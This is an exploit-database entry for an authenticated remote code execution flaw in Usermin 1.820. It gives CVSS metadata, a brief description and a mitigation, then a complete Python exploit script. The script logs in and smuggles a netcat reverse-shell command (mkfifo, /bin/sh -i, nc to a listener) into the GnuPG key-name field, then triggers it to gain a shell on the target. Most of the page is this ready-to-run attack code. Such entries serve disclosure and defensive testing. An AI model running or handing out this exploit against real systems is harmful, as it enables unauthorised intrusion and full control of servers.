header-logo
Suggest Exploit
vendor:
Usermin
by:
Numan Türle
9,8
CVSS
HIGH
Remote Code Execution (RCE)
78
CWE
Product Name: Usermin
Affected Version From: <=1.820
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: a:webmin:usermin
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2021

Usermin 1.820 – Remote Code Execution (RCE) (Authenticated)

Usermin version 1.820 is vulnerable to a Remote Code Execution (RCE) attack when an authenticated user is able to inject malicious code into the GnuPG setup page. This code is then executed when the user logs in. An attacker can use this vulnerability to gain access to the system and execute arbitrary code.

Mitigation:

Upgrade to the latest version of Usermin, or apply the patch provided by the vendor.
Source

Exploit-DB raw data:

# Title: Usermin 1.820 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <=1820
# https://www.youtube.com/watch?v=wiRIWFAhz24

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )
# author: twitter.com/numanturle
# usage: usermin.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://youtu.be/wiRIWFAhz24


import argparse,requests,warnings,json,re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):

    listen_ip = "0.0.0.0"
    listen_port = 1337

    session = requests.Session()
    target = "https://{}:20000".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    headers = {
        'Cookie': 'redirect=1; testing=1;',
        'Referer': target
    }

    login = session.post(target+"/session_login.cgi", headers=headers, verify=False, data={"user":username,"pass":password})
    login_content = str(login.content)
    search = "webmin_search.cgi"
    check_login_string = re.findall(search,login_content)
    if check_login_string:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login successfully")
        print("[+] Setup GnuPG")

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;".format(listen_ip,listen_port)
        #payload = "whoami;"
        post_data = {
            "name":'";{}echo "'.format(payload),
            "email":"1337@webmin.com",
        }
        
        print("[+] Payload {}".format(post_data))

        session.headers.update({'referer': target})
        
        create_secret = session.post(target+"/gnupg/secret.cgi", verify=False, data=post_data)
        create_secret_content = str(create_secret.content)

        search = "successfully"
        check_exp = re.findall(search,create_secret_content)
        
        if check_exp:
            
            print("[+] Setup successful")
            print("[+] Fetching key list")
            
            session.headers.update({'referer': target})
            key_list = session.post(target+"/gnupg/list_keys.cgi", verify=False)
            last_gets_key = re.findall("edit_key.cgi\?(.*?)'",str(key_list.content))[-2]
            print("[+] Key : {}".format(last_gets_key))

            session.headers.update({'referer': target})
            try:
                key_list = session.post(target+"/gnupg/edit_key.cgi?{}".format(last_gets_key), verify=False, timeout=3)
            except requests.exceptions.ReadTimeout:
                pass

            print("[+] 5ucc355fully_3xpl017")
        else:
            print("[-] an unexpected error occurred"  )



        
    else:
        print("[-] AUTH : Login failed.")

if __name__ == "__main__":
    init()